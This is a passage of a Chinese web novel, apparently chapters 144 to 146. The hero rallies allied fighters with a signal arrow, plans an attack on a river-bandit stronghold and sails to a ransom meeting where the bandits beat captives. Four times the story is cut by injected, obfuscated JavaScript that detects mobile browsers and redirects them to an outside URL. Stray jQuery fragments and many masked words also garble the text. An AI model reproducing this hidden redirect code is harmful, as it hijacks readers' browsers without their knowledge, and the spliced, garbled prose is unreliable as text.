没想到,还是被这帮水匪给截住了!
“这些勾日的!”
薛猛面色黑沉,越想越气,砰的一拳砸在旁边的树干上:“老子要灭了这帮水匪!”
寇芳见状,连忙上前劝道:“恩公,你先别冲动!据我探查,青龙峡水匪人多势众,若是贸然和他们开战,恐怕对我们不利!”
夜含香目露回忆道:“青龙峡水寨我去过,那帮水匪有上百只战船,确实非同小可!”
“事到如今,还是先准备金子,把人赎回来再说吧!至于剿灭水匪一事,还需上报官府,从长计议!”
薛猛闻言,不屑冷嗤:“**从长计议!官府要是靠得住,还至于让这帮水匪如此猖獗?”
“打得一拳开,免得百拳来!”
“正好用他们当我的磨刀石,试试老子的新武器!”
若是放在以前,薛猛可能还会有所顾虑,召集大伙儿,一起想一个万全之策。
但现在,薛猛但凡犹豫一下,就是对秘密武器的不尊重!
黑科技在手,干就完了!
区区水匪,灭了便是!
薛猛目光湛湛,抬手喝道:“取我弓来!咱们去村口寨墙,我要点兵!”
寇芳闻言一怔,知道薛猛这是要动真格了!
夜含香也是吃了一惊。
打得一拳开,免得百拳来?!
这是何等霸气豪迈的话语?
“是!”
见薛猛心意已决,寇芳也不好再劝。
对她而言,不管薛猛作何决定,执行就对了!
……
铅云如墨,沉甸甸地压在天际线。
风裹着枯草碎屑,在卧虎村前的山道上盘旋。
远处的山林静得反常,连平常聒噪的鸦雀都收敛了声息。
薛猛一身玄衣,立于卧虎村寨墙之上,猿臂力挽长弓,弓弦猎猎颤响。
箭锋斜指穹天,形如射日的后羿!
这穿云箭,和寻常箭簇不同,其箭杆上绑了**筒。
**筒由两部分构成,底部填满黑**,点燃引线后,可以起到助推作用,让箭飞得更高更远。
顶部除了**,还添加了磨细后的天青石和黄铜矿。
这两样东西燃烧时会释放出特定波长光,在天空中形成绚丽的紫色烟火。
咻——!
寇芳手拿火折子,上前点燃引线的刹那,薛猛眼中精光一闪,立时撒手放箭。
只听一声锐啸响起,箭簇在**的助推下,化作一道紫光,冲天而起,划破长空!
而后于四百米高空中,轰然炸开!
砰——!!
**之声,宛若雷鸣
瞬间吸引了方圆三十里内,所有人的注意!
无论是在田间地头劳作的卧虎村村民,还是在周边巡逻的巡猎队队员,或是水中练习潜水的水鬼队队友……
听见**声,纷纷扬起了头,一双双眼睛,齐刷刷看向天上绽放的紫色烟火。
“穿云箭响,定有大事发生!别吃了,抄家伙!”
正在干饭的裴红玉,丢下碗筷,抄起钢枪,带着手下队员,撒腿就往寨墙跑。
村民们也是迅速向寨墙集结。
“那是……什么?”
**凼腹地,正在往马背袋子里装铁矿石的萧灭虞、萧复梁父子,停下手里的动作,抬头望向天空。
“是薛公子的穿云箭!”
萧南乐最先反应了过来。
“看来,山下出大事了!”
族母拄着拐杖,缓缓走了过来:“薛神仙为我们寻回国宝,又教我们开采矿石,给我们带来布匹、药物,其恩情比天大,比海深!”
“如今薛神仙有事,我们应当鼎力相助!”
“族母说得对!”
萧复梁点头道:“爹,我欠薛公子一条命,不管他要做什么,我都要助他一臂之力!”
“好!”
一向慎重的萧灭虞,此时也没有阻拦,反而全力支持:“为父也正有此意!”
“复梁,你马上召集所有白马义从!”
“随为父下山!”
“是!”
萧复梁目光湛湛,拱手领命。
“大当家的!出事了!薛爷放穿云箭了!”
卧虎山北麓,老鸦坎山寨。
一个小喽啰看见空中的紫色烟火后,急冲冲跑进山寨大厅,惊醒了正在打盹的山猫子!
“什么?穿云箭?”
山猫子猛然一惊,瞌睡瞬间清醒了。
连忙起身,招呼山寨弟兄抄家伙。
不多时,山寨空地上便**起五十名身着皮甲,手提铁矛、藤牌盾,胯下骑中原战马的轻骑。
“弟兄们,薛爷说过,穿云箭响,就是要打仗了!”
“正所谓养兵千日,用兵一时,若无薛爷提携,哪有我们弟兄今天的好日子?”
“如今薛爷放箭点兵,我们应该怎么做?”
大海满脸杀气,手持一柄宣花斧,带头高呼道:“为薛爷赴汤蹈火,在所不辞!”
“赴汤蹈火,在所不辞!”
老鸦坎众人,手提长矛,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313107|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
齐齐振臂高呼!
“好!弟兄们都是好样的!听我号令,即刻下山!”
“驾!”
在山猫子和大海的带领下,老鸦坎五十轻骑,倾巢而出,快马加鞭,径直朝卧虎村方向飞驰而来!
一支穿云箭,千军万马来相见!
两副忠义胆,刀山火海提命现!
穿云箭响,四方雷动!
数队人马,齐齐朝着卧虎村奔袭而来!
薛猛居高临下,俯瞰着村口陆续集结的队伍。
“大刀队全员到齐!”
“**队全员到齐!”
“**队全员到齐!”
“水鬼队全员到齐!”
除了郑灵均远在洪雅县保护茅仪之外,巡猎队四十名队员,在各分队队长的带领下,全都到了。
薛猛放眼看去,对自己的队伍十分满意。
如今的巡猎队可谓**换炮,人人龙精虎猛,身着皮甲,胯下骑着龙驹马,武器擦得锃亮。
**队,除了人手一把连**之外,还增加了两台神臂**车,其威力足可射穿寻常甲胄,**车以战马驱动,机动性很强。
大刀队,除了短柄大刀,还增加了长柄大刀和铁质盾牌。
无论是武器装备还是精神面貌,都已今非昔比!
在他们的眼中,看不到丝毫对水匪的胆怯,只有对战功的渴望!
看着空地上**的巡猎队,夜含香目露担忧:“青龙峡水匪足有四五百人,又占据地形优势!”
“就算咱们武器精良,训练有素,总共也才四十来号人,人数悬殊如此巨大,此战对我们不利啊!”
夜含香能说出这番话来,可见她已然将自己也视为了卧虎村的一份子。
倒不是她故意泼薛猛冷水,而是她实在不想看见,这么一个世外桃源般的村子,因为薛猛一时冲动,招惹水匪,毁于一旦!
若是薛猛真能一举灭了那些水匪,自然皆大欢喜,但若是开战之后反被水匪所制,那可就后患无穷了!
寇芳微微蹙眉,也是同样目露隐忧。
放眼整个蜀郡绿林,青龙峡水寨也算是排得上号的大绺子,在蜀郡十七县九山十二岛中,也有一席之地!
如若不然,也不会被黑风岭响马视作盟友。
卧虎村目前的兵力,比起青龙峡水寨,还是差了不止一星半点!
薛猛看出身边二女的担忧,举目眺望远方山道,轻笑道:“别急嘛,让**再飞一会儿!”
夜含香顺着薛猛所指的方向看去,目露疑惑,不知道薛猛在等什么。
山道上空空荡荡,明明什么都没有!
难不成,还能凭空变出人马来?
“驾!!”
夜含香念头刚刚落下,忽见山道尽头升起一溜黄沙。
似有一名骑士,挥舞马鞭,朝着这边冲了过来!
第144章 薛猛点兵
“那是?”
夜含香美眸瞬间圆瞪,只见前方的山道上,黄沙漫天。
离得近了,方才看清是来的不止一名骑士,而是一大群骑士!
随着涌现的骑士越来越多,密集的马蹄声震天动地,声势浩荡,仿佛整个大地都在为之颤动。
“薛爷,我们来晚了!”
山猫子一马当先,率先冲到了卧虎村前,翻身下马,单膝跪地,拜见立于寨墙之上的薛猛。
“老鸦坎五十轻骑,参见薛爷!”
老鸦坎五十名轻骑,纷纷下马,拜见薛猛。
薛猛目光湛湛,抬手喝道:“男儿膝下有黄金,不许跪!都给我站起来!”
“是!”
众人齐刷刷站了起来,自觉退开在一旁。
远处,马蹄声仍未停止。
“驾!驾!!”
萧灭虞、萧复梁父子俩,齐头并进飞驰而来,两百名白马义从紧随其后奔袭而至。
人强马壮,堪称骠骑!
“薛神仙!”
“我们来了!”
看着从四面八方涌来的人马,夜含香美眸惊颤,暗自咂舌。
巡猎队四十人。
老鸦坎五十人。
再加上萧家父子带来的两百白马义从。
短短半个时辰不到,薛猛仅靠一支穿云箭,便集结了接近三百人的兵力!
寻常县城的守军,也不过才三五百人而已。
薛猛这号召力,堪比一县县尉!
而且薛猛这三百人兵力,人人着皮甲,骑战马,武器也都是钢制,寻常县城守军,压根没法比。
此时此刻,夜含香才终于明白,自己先前的担忧完全是多虑了!
薛猛的确有资格,向水匪宣战!
俯瞰着寨墙下**而来的三百来号人,薛猛胸中也是涌起一股豪气。
好哇!
这是穿越到这个世界以来,最富裕的一仗!
有了这三百人,端掉一个水匪窝子,还不是手拿把掐?
有那么一瞬间,薛猛莫名有些恍惚,感觉自己仿佛真成了逐鹿天下的一方枭雄!
一呼百应,傲视乡里!
裴红玉看着萧家父子带来的白马义从和老鸦坎的轻骑,也是暗自吃惊。
没想到薛猛这家伙,现在人脉这么广了?
相比之下,他们卧虎村巡猎队这四十号人,反倒显得没那么突出了!
巡猎队队员们面面相觑,心中都有了危机感!
大家心里都憋着一股劲,这次,一定要多杀敌立功!
不然被老鸦坎和萧家的人比下去,那可就丢人了!
“既然大家都到齐了,那我就说个事儿!”
薛猛清了清嗓子,喧嚷的人群,顿时安静了下来。
薛猛居高临下,声音清晰地落入每个人的耳中。
“近来,青龙峡水匪异常猖獗,封锁水道,霸占水域,致使附近几个乡的渔民,无鱼可打!”
“我本不愿主动撩拨这帮水匪,可就在今天,他们竟然劫掠了我卧虎村的送货队!”
“罗飞和送货队的十多名弟兄,全都落入他们之手!”
“这帮水匪,狮子大开口,要我在三个时辰内,筹足五百两黄金去风波亭赎人!”
“否则,他们就大开杀戒,杀掉我们的人!”
“什么?!”
听闻此言,顿时有人愤然叫骂起来:“五百两黄金!他们还真敢要!”
裴红玉冷声道:“人怕出名猪怕壮,这帮水匪,肯定是见咱们卧虎村发展得好,便想把我们当肥猪宰!”
“若是我们这次妥协了,他们就会认为我们好欺负,有一就有二!!”
“无论如何,这钱咱们不能给!”
巡猎队众人齐声附和道:“对!裴队长说得对!咱们绝对不能向水匪低头!”
张水接口道:“我常在水上走,对于这帮水匪早有耳闻!隔壁临水村、青牛村,因为临近青龙峡,也是时常受到水匪侵扰!”
“临水村的村长,为求自保,居然认贼作父,主动帮助水匪,压榨乡里!”
“临水村村民,苦不堪言,每月都要给水匪上供粮食不说,就连妻女也被强行送去水寨伺候水匪!”
“如今那几个村子都已经没有油水可榨,这帮水匪,便盯上了咱们卧虎村!”
“劫咱们的货,恐怕只是第一步!”
“若是咱们也服了软,他们就会认定我们好欺负!临水村、青牛村的下场,就是我们的榜样!”
张水这番话一出口,无疑于往柴堆上丢了一把火,把所有人的情绪都点燃了!
一想到自己的妻女,将会沦为水匪的玩物,每个月还要给水匪纳粮上供,所有人都咬牙切齿,双目血红!
“这帮勾日的!想欺负咱们卧虎村,那他算是踢到铁板了!”
“咱们卧虎村的人,可不是软骨头!”
“要想欺负咱们,先问问咱们手里的兵器答不答应!”
山猫子和大海闻言,心中也是激起了悲愤的情绪。
临水村是他俩的老家。
因为靠近青龙峡水域,水匪时常上岸侵扰。
那种被水匪支配的恐惧,从童年时期就伴随着他。
对于水匪的仇恨,他比卧虎村村民更加深刻!
“我们老鸦坎,与卧虎村共存亡!”
“薛爷,你说吧,要我们怎么干?!”
山猫子目光坚毅,仰望着薛猛,只要薛猛一声令下,就是让他们上刀山,下火海,也在所不辞!
“薛神仙,发令吧!”
“我们这两百名白马义从,也不是吃素的!”
“量那水匪也是血肉之躯,咱们一刀一个,也能**他几百个!”
萧灭虞此言一出,所有人的目光都聚焦在了薛猛身上。
“薛爷,发令吧!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313108|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>三百号人齐齐跪倒在地,拱手恳求薛猛下令攻打青龙峡水寨。
“大家稍安勿躁!打,肯定是要打的!”
“但知己知彼,方能百战百胜,在打之前,我需要大家先了解一下青龙峡水匪的底细!”
薛猛双手向下按了按,示意众人安静,随即扭头看向寇芳:“寇芳,你先跟大伙儿说说,你探查到的一些情况!”
寇芳点点头,上前一步,对寨墙下的众人说道:“据我所知,青龙峡水匪的老巢,位于青龙峡的囚龙岛上,此地除了北面是悬崖,其余三面都是河滩,水域开阔!”
“若是我们乘船登岛,还没靠近,便会被水匪发现,他们的水寨前停着上百只战船!”
“我们若强行从正面登岛,遇到其阻击,定然伤亡惨重!”
“最重要的是,水寨里还有不少附近村子的村民!”
“若是咱们贸然进攻,打草惊蛇,水匪很可能会害了他们的性命!”
先前群情激愤的众人,听了寇芳交代的情况,顿时偃旗息鼓了。
牺牲自己,他们并不害怕!
但若是打草惊蛇,害了无辜之人的性命,这样的后果谁都不敢承担!
“那怎么办?难道咱们只能向水匪妥协服软,乖乖交钱赎人?”
裴红玉轻咬银牙,双目喷火,眉宇间满是不甘!
薛猛并没有直接回答,而是从怀里掏出一个帖子,晃了晃:“这是青龙峡水寨大寨主雷龙,亲自给我下的帖子!”
“要我一个人,一条船,到风波亭交赎金!”
“他们很会选地方,这风波亭位于青龙峡水寨二百米外的一座小岛上,四面都是水!”
“这是个陷阱!”
“就算我交了赎金,水匪十有**也不会把罗飞他们交给我!”
“但我还是决定,去会会这个雷龙!”
“啊?”
所有人闻言都是一怔,明知是陷阱,为什么还要去?
薛猛解释道:“我要给水匪们营造一种假象,让他们放松警惕!”
“只有这样,咱们才能攻其不备,出其不意,打他们个措手不及!”
“接下来,我说一下具体的布置!”
所有人都打起了十二分精神,听着薛猛发号施令。
“夜含香、寇芳、山猫子!”
“在!”
被点名的三人,齐齐应声。
“我要你们三人,从囚龙岛北面的悬崖,潜入青龙峡水寨,摸清楚被水寨**的村民具体关押位置,并通知他们一起逃跑。”
“水鬼队负责开船接应!”
“北面悬崖,水匪防备薄弱,最容易突破!”
“是!”张水回道。
“接出人质后,以穿云箭为号!”
薛猛将一支穿云箭递给了寇芳。
随即转头看向萧氏父子:“萧灭虞、萧复梁!”
“在!”
第145章 鸟云阵
“咱们以往几次作战,都是以设伏、防守为主!”
“这一次,咱们是主动出击!”
“青龙峡水寨,地势险要,易守难攻!攻坚之战,必用重器!”
薛猛缓缓走下寨墙,负手踱步道:“近来,我倒腾了一个大宝贝儿,威力巨大,可在几百米开外,轻易摧毁青龙峡水寨!”
“只不过,此物重达千斤!需要运送到青龙峡水寨对面三百米开外的驼峰山上,方能发挥威力!”
“我思来想去,这项重任,似乎只有你们能够胜任!”
说着,薛猛抬眼看向了萧氏父子。
重达千斤的大宝贝儿?!
萧氏父子闻言,皆是一愣。
其他人也都满脸茫然地望着薛猛,不知道薛猛口中的大宝贝儿,到底是何物。
于几百米开外,摧毁青龙峡水寨?
那是何等神器?
众人完全无法想象薛猛描述的这件武器,在他们眼中,这简直就是天方夜谭,已经超出了他们的理解范畴。
薛猛从袖中取出一个锦囊,递给萧复梁:“这锦囊之中,写有这大宝贝儿的使用方法!”
“现在,我将它交给你们父子!”
萧复梁闻言,眼眸一亮,连忙上前,双手接住薛猛丢下的锦囊,小心翼翼收了起来。
“薛神仙,包在我们身上吧!”
萧灭虞拍胸脯道:“莫说是千斤,就是万斤,凭我们胯下这二百匹龙驹马,也能运走!”
“嗯,我相信你们能够做到!”
薛猛满意点头,随即又再三叮嘱道:“切记!你们将这大宝贝运上驼峰山后,先不要轻举妄动!”
“一定要在听到寇芳释放穿云箭后,确保人质安全撤离囚龙岛,方才能够使用!”
“否则,很容易误伤咱们自己人!”
“这大宝贝儿就在我家后院,用红布盖着,你们现在就动身,务必在半个时辰内,运上驼峰山!”
“遵命!”
萧氏父子牢牢将薛猛的话记在心头,随即带着手下两百白马义从,拱手领命而去。
寇芳、夜含香、山猫子、萧氏父子,先后领命离去。
裴红玉耐不住性子了,急声问道:“薛猛,那咱们巡猎队干什么?”
“是啊!”
老鸦坎二当家大海也跟着着急起来:“薛大掌柜的,你的大宝贝儿那么厉害,一下就把水寨夷为平地了!”
“那咱们岂不是没事儿干了?”
薛猛环顾众人一圈,冷笑激将:“呵呵,不是没事儿干,我是担心接下来的任务太重,你们干不了!”
“我的大宝贝儿一发威,那些水匪定然会被吓得丢魂丧胆,乘船逃走!若他们登上青龙峡河滩,逃到附近的村子里,将会后患无穷!”
“怎么截杀这些漏网之鱼,阻止他们上岸,可是个大问题!”
裴红玉冷哼一声,挺胸道:“哼!你少瞧不起人!”
“不就是截杀逃跑的水匪吗?这有何难?姑奶奶这就带人,到青龙峡河滩上设伏,定叫他们死无葬身之地!”
“想法很好!”
薛猛点点头,随即一挑眉,想考考裴红玉:“不过,你具体打算怎么设伏?”
“水匪有数百之众,纵然被我的大宝贝杀伤一部分,人数依然众多!”
“一旦他们逃出水寨,向青龙峡河滩上逃跑,必然一波接一波的登陆,你手里只有四十人,加上老鸦坎的五十轻骑,也不足百人,如何能够保证将他们全部击杀?”
裴红玉闻言一怔,张了张嘴,一时不知该从何说起。
这还真是个棘手的问题!
其余队长面面相觑,也都犯了难。
截杀逃跑水匪这个任务,看似简单,实则并不简单。
水匪们受到生命威胁后,必然被激起决死之心,加上人数众多,确实不好对付!
大海扬了扬手里的宣花斧,粗声道:“大不了,咱们跟他们拼了!就是豁出这条命,也绝不放走一个水匪!”
“对!咱们跟他们拼了!”
老鸦坎众人齐齐附和道。
“莽夫!”
薛猛捡起一根木棍,**,在大海等人屁股上每人来了一棍。
打得大家嘴里嘶嘶倒抽凉气。
薛猛沉哼一声,没好气道:“对付区区水匪,岂可轻言生死?”
“水匪的命不值钱,但咱们的弟兄,可不能平白牺牲!”
“都给我记住了!打仗,要多动脑子,不可逞匹夫之勇!”
“道理我们都懂,但你打老娘干什么?”
裴红玉揉了揉火辣辣的屁股,满脸幽怨:“我又没喊拼了!”
“你最该打!”
薛猛虎目一瞪,又在裴红玉屁股上补了一棍,打得裴红玉眉头紧皱:“跟了我这么久了,一点长进都没有!连一个最基本的设伏都不会!”
“就你这样的,还一天天妄想当将军?”
“上了真正的战场,你就是炮灰!跟着你的队员,全都是炮灰!”
裴红玉本想发火,但听了薛猛的话,耳根子一红,羞愧地低下了头。
因为薛猛说的都是事实!
让她带头冲锋她可以义无反顾,但要她排兵布阵,她是一点头绪都没有。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313109|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“所有队长,全都给我过来!”
“我只教你们一次,下次再遇到这样的情况,希望你们多动动脑子!”
“别一天天就是拼了拼了的!”
“弟兄们跟着你们,不是去送死的!”
老鸦坎大小头领和巡猎队各分队队长闻言,皆是满脸惭愧,纷纷朝薛猛围了上去。
只见薛猛就地蹲下,用手中木棍,在沙地上画出简易地形图。
裴红玉顿时打起了精神,她知道,薛猛只要画地形图,肯定是又想到阴招了!
“据寇芳探查得知,青龙峡河滩上,有许多错杂分布的礁石群,这些礁石群都是天然的掩体,我们可以在其中布置鸟云阵!”
“所谓鸟云阵,顾名思义,如鸟散云合,聚散无常,需要各小队协同配合,不可单打独斗!”
众人闻言,若有所思,频频点头。
只见薛猛在地形图画下几个标记:“可令**手、刀盾手埋伏敌后;**手在两侧架设神臂**车;老鸦坎轻骑,则伏于礁石群间形成的低谷之中!”
“水匪登陆之初,万万不可阻击!一旦打草惊蛇,他们就会马上退回水中!水匪战船多,一旦退入水中,咱们就鞭长莫及了!”
“所以,务必要等到水匪全部上岸之后,再发动伏兵,猛攻敌后,断其退路!”
“再令两侧**车,射其左右!”
“水匪后路被堵截,左右翼又遭到射击,没有别的退路,只能向前方低谷逃窜!”
“此时埋伏于低谷之中的骑兵,便可以十人一队,轮番发起冲击!”
“冲完就撤,不可恋战!”
“待得水匪队伍彻底被冲散后,**手、刀盾手向前推进,彻底将其绞杀!”
“此阵要点,在于分队间的配合,聚散无常,轮番出击,令敌人首尾不能相顾,措手不及!”
看着薛猛在地上画出的阵型图。
裴红玉脑海中,已然浮现出了水匪**得血肉飞溅的场景,连呼吸都急促了起来!
薛猛这阴招,太狠了!
“这鸟云阵,怎么有点眼熟?”
**队队长杨虎摸着下巴,若有所思:“等等!这不就是薛爷之前让我们训练的协同战术吗?”
听他这么一说,所有人都瞪大眼睛,回想了起来!
“还真是!”
“原来薛爷早就教过我们怎么排兵布阵了!”
“可我们刚才愣是没想起来!”
见大家反应了过来。
薛猛叹了口气。
不容易啊!
不枉自己费劲巴拉教半天,总算有人开悟了!
第146章 风波亭
“学而不思则罔,思而不学则殆!”
“纸上谈兵是没有用的,必须在实战中积累经验!”
“这一次,就是一次绝佳的实战机会!”
薛猛其实完全可以直接发号施令,让巡猎队下去布阵,不需要这些分队队长动脑子。
之所以花这么多功夫,手把手教裴红玉他们!
就是想要借此锻炼他们的带兵能力,希望他们以后能够独当一面!
身处乱世,打仗是在所难免的!
谁也不知道,以后还会遇到什么样的敌人!
要是随便打个伏击战,都需要薛猛亲自来规划战术,薛猛恐怕只能中午干活,因为早晚得累死!
“好啦!方法已经教给你们了!这次战斗,就是对你们的考试!”
“若是放跑了一个水匪,你们就不用回来了!”
薛猛挥舞着木棍,环视着几名队长,意味深长道。
大海拍胸脯道:“薛爷,你放心吧!有了这鸟云阵,要是咱还让水匪给跑了,不用你说,我以后直接把嘴缝上,用屁嫣儿吃饭!”
此言一出,引得众人哈哈大笑。
薛猛拍了拍大海的肩膀,苦笑道:“你小子,还真他娘是个人才!”
“大伙儿可都听见了吧?”
“要是任务失败,吴大海用屁嫣儿吃饭!”
“听见了!!”
众人齐声起哄。
薛猛笑了笑,随即正色道:“说归说,笑归笑!别拿吴大海的屁嫣儿开玩笑!这次任务,只许成功,不许失败!”
“遵命!”
闻听此言,所有人都在憋笑。
唯独曾经深受火毒困扰的裴红玉,菊花一紧,神情凝重。
这些家伙真过分,居然敢拿屁嫣儿开玩笑!
屁嫣儿疼起来,就知道厉害了!
大海等人领命离去后,场中只剩下裴红玉一人。
“薛猛,你真的打算,一个人去风波亭交赎金?”
裴红玉犹豫再三,还是道出了心中的担忧。
虽然薛猛的能力很强,但一个人去风波亭赴会,未免也太托大了!
万一出点什么茬子,后果不堪设想!
“我跟你一起去吧!”
薛猛一怔,看着裴红玉眼底流露出的担忧,心中暗笑。
毕竟是一张床上睡过的人,这**还是很关心自己的!
“帖子上写明了,让我一个人去!”
“若是带多了人,必然惊动水匪,不利于寇芳他们的行动!”
“放心吧,我自有办法脱身!”
看着薛猛的眼睛,见他如此笃定自信,裴红玉点点头,决定信任薛猛!
翻身上马,转身离去。
看着裴红玉红袍飞扬,白马**的背影,薛猛心弦一动,挥手喊道:“红玉,水匪凶残,你也要多加小心!”
裴红玉闻言,勒缰驻马,回眸深深看了薛猛一眼。
随即扬了扬手中**,清冷脸庞上满是傲娇。
“放心吧!姑奶奶有的是力气和手段,该害怕的,是那帮水匪!”
“驾!”
说完,裴红玉口中娇叱一声,双腿一夹马腹,蹄溅黄沙,策马而去。
“长根儿!”
这时林雅娴的声音突兀响起,薛猛循声转头一看,只见林雅娴、林小鱼、徐瑾儿,迎面朝自己走了过来。
徐守业、林大强,和一群村民则拉着骡车,跟在后面。
林雅娴来到薛猛面前,拉住薛猛的手,眼中闪过一抹泪光:“长根儿,你一个人去交赎金,太危险,要不让别人去吧!”
自家男人要去干什么,她心知肚明!
薛猛反握住林雅娴的玉手,摇头道:“大老婆,我不去,水匪就会起疑心!”
“就算是龙潭虎穴,我也要走上一遭!”
“呜呜呜……”
徐瑾儿上前抱住薛猛,情不自禁,抽噎起来,宛若生离死别。
“瑾儿姐姐,你哭什么!姐夫是大英雄,肯定能平安回来的!”
林小鱼抹了抹眼泪,把一包石灰塞到薛猛手里,噘嘴道:“姐夫,遇到坏人,你就用这个对付他!”
薛猛收下石灰,宠溺地揉了揉林小鱼的脑袋,随即故作轻松,对林雅娴轻笑道:“雅娴,回去吧!我很快就会回来的!”
徐守业赶着骡车,走了过来,指着车上的一口箱子,对薛猛说道:“长根儿啊!五百两金子,已经备好了!船已经在岸边等着了!”
薛猛点头道:“徐伯,如今巡猎队都走了,村子的防守可就靠您了!”
徐守业捋着胡须,老眸闪烁,淡然自若:“放心吧,老夫已经通知每家每户,各抽一人组成临时巡逻队,镇守寨墙、箭楼,不会出茬子的!”
家有一老,如有一宝!
徐守业办事,薛猛还是放心的!
之前薛猛进京半个多月,也是徐守业负责守村,愣是一点乱子都没出!
“行,徐伯你办事,我放心!都别送了,大家都回去吧!”
和众人挥手分别,薛猛独自赶着骡车,来到了河边,果然有一条船,已经在岸边等候多时。
“姑爷爷,你可算来啦!”
撑船之人揭下头上斗笠,露出满脸憨笑。
“怎么是你?”
看见秦义,薛猛不由一怔。
秦义傻笑道:“嘿嘿!我来,给你,撑船啊!”
“用不着,我自己就可以撑船!”
薛猛挥手打发道:“你快下去吧!”
“那,那可不行!”
秦义紧紧抓住竹篙,赖着不走,嘴里嘟囔道:“我可是答应了姑奶奶,要,保护你!”
“保护我?”
薛猛摇头苦笑,搞了半天是裴红玉让这小子来的!
罢了,只是让他撑船的话,应该问题不大!
到了风波亭,不让秦义上岸就行了!
“姑爷爷,坐稳了!我要开船了!咦,这船怎么不动?”
“你踏马不起锚,它怎么动?!你到底会不会撑船啊?”
“不会,但我可以学……”
“草!让我来!”
“姑爷爷,你好像也不太会哦!”
“你闭嘴,看我秀操作!”
“不好!船要翻了!”
……
水雾缭绕,斜阳晚照,一只白尾雕,在空中盘旋,时不时发出尖锐的鸣叫。
一座四面环水的小岛上,坐落着一座雅致的凉亭。
凉亭的匾额上,题着三个遒劲大字。
风波亭!
亭中石桌上,摆着几样酒菜,一个两鬓斑白,眼窝深陷的白衣老者,端坐石凳上,闭目养神。
亭外有一口香炉,炉里插着三根大香!
每根大香能烧一个时辰。
只听吧嗒一声轻响,最后一截香灰落地。
白衣老者微微抬起眼皮,瞥了眼香炉里全部烧完的三根大香。
三个时辰过去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313110|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白衣老者眼中泛起不耐烦的愠怒之色:“雷鹏,你不是说,那卧虎村的薛家子挥金如土,义薄云天吗?”
“三个时辰,让他筹五百两金子来赎人,有这么困难?”
“还是说,所谓义薄云天都是虚名!他根本不在乎手下弟兄的死活?”
侍立一旁的孔武壮汉雷鹏,拱手回道:“义父!那薛猛确实家底雄厚,也确实为人仗义!”
“坊间传闻,他开弓能射开口雁,猎棕熊,斗虎豹,是条汉子!”
“此外,他还开工坊,办药铺,兴市集!让卧虎村家家户户都吃上了白米饭!给难民治病,分文不取!坊间百姓都叫他‘活菩萨’!”
“不管他是真仁义,还是沽名钓誉,他都不可能置手下弟兄于不顾!”
“他的生意做到了京城,据说连宫里都有关系,五百两金子对他而言,绝对不算难事!”
“更何况,他们这批货,就是送进京城的!他绝对不可能撒手不要!”
砰!
雷龙拍桌怒喝,语气不善:“那为何三个时辰过去了,他还是迟迟不到!”
“莫非是以为我们不敢**?”
“去!把那几个送货的带过来!”
“再点三根香!烧完一根,就杀他们一个人!”
“是!”
雷鹏一拱手,随即来到亭外,朝着二百米外的水寨方向,放了一支响箭。
不多时,一只大船从水寨驶来。
船上下来一群水匪,押着被五花大绑的罗飞、韩龙等人上了岛。
“跪下!”
罗飞等人嘴角淤青,眼窝红肿,显然挨了打,在几名水匪连打带踹的迫使下,跪在了香炉前。
水匪抱着**,守在罗飞等人身后。
只等香炉里香灰掉落,便要挥刀**他们!
“他奶奶的!”
罗飞一看这阵仗,已经料到这帮水匪想干什么,口中愤然啐出一口血沫:“有种就给我老子个痛快,现在就一刀把老子砍了!”
“如若不然,等我家薛大哥来了,老子直接把你们一窝端了!”
“哼!大言不惭!”
雷龙闻言,目光扫向罗飞,沉哼道:“薛家子若不来,我第一个就砍你的头!”
“求之不得!”
罗飞浑然不惧,一双牛眼圆瞪,和雷龙四目相对,恨不得冲上去咬死这个老东西!
“死到临头,你还敢顶撞我们寨主!找打!”
几名水匪满脸凶狠,上前摁倒罗飞,用刀把砸得他头破血流。
一顿拳打脚踢,直把罗飞打得奄奄一息。
“别打了!要打就打我吧!”
韩龙见状,奋力扑在罗飞身上,替罗飞挡了几下,也是被水匪打得头破血流。
见两个队长挨打,队员们心急如焚,咬牙切齿,奈何被捆住手脚,无法反抗。
只能跪地膝行,挪动身子,企图用自己的身体替两名队长挡下拳脚。
